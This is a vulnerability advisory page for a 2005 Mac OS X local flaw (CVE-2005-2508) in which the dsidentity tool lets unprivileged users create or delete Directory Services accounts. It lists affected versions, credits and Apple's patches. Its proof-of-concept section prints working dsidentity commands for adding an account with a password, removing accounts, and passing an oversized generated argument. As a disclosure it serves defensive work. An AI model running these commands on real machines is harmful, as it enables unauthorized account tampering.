Apple Mac OS X dsidentity Directory Services Account Creation and Deletion Vulnerability
BID:14630
Info
Apple Mac OS X dsidentity Directory Services Account Creation and Deletion Vulnerability
| Bugtraq ID: | 14630 |
| Class: | Design Error |
| CVE: |
CVE-2005-2508 |
| Remote: | No |
| Local: | Yes |
| Published: | Aug 15 2005 12:00AM |
| Updated: | Jul 12 2009 05:06PM |
| Credit: | Discovery is credited to Neil Archibald and Kevin Finisterre. |
| Vulnerable: |
Apple Mac OS X Server 10.4.2 Apple Mac OS X Server 10.4.1 Apple Mac OS X Server 10.4 Apple Mac OS X 10.4.2 Apple Mac OS X 10.4.1 Apple Mac OS X 10.4 |
| Not Vulnerable: | |
Discussion
Apple Mac OS X dsidentity Directory Services Account Creation and Deletion Vulnerability
A vulnerability in Apple Directory Services allows unprivileged users to create or delete directory services idnetity accounts.
This issue was originally described in BID 14567 Apple Mac OS X Multiple Vulnerabilities. It is now being assigned its own BID.
A vulnerability in Apple Directory Services allows unprivileged users to create or delete directory services idnetity accounts.
This issue was originally described in BID 14567 Apple Mac OS X Multiple Vulnerabilities. It is now being assigned its own BID.
Exploit / POC
Apple Mac OS X dsidentity Directory Services Account Creation and Deletion Vulnerability
An exploit is not required.
The following examples were provided:
To create an account named 'Username' with the password 'pass':
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -a Username -s pass -v
To delete an account named 'Username':
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -r Username -v
To create multiple accounts:
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -a `perl -e 'print "A" x 29000'`
An exploit is not required.
The following examples were provided:
To create an account named 'Username' with the password 'pass':
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -a Username -s pass -v
To delete an account named 'Username':
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -r Username -v
To create multiple accounts:
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -a `perl -e 'print "A" x 29000'`
Solution / Fix
Apple Mac OS X dsidentity Directory Services Account Creation and Deletion Vulnerability
Solution:
Apple has released fixes to address this and other vulnerabilities:
Apple Mac OS X 10.4.2
Apple Mac OS X Server 10.4.2
Solution:
Apple has released fixes to address this and other vulnerabilities:
Apple Mac OS X 10.4.2
-
Apple SecUpd2005-007Ti.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=07794&plat form=osx&method=sa/SecUpd2005-007Ti.dmg
Apple Mac OS X Server 10.4.2
-
Apple SecUpdSrvr2005-007Ti.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=07795&plat form=osx&method=sa/SecUpdSrvr2005-007Ti.dmg
References
Apple Mac OS X dsidentity Directory Services Account Creation and Deletion Vulnerability
References:
References:
- Suresec security advisory 5 (Suresec)
- DMA[2005-0818a] - 'Apple OSX dsidentity privilege abuse' ("KF (lists)"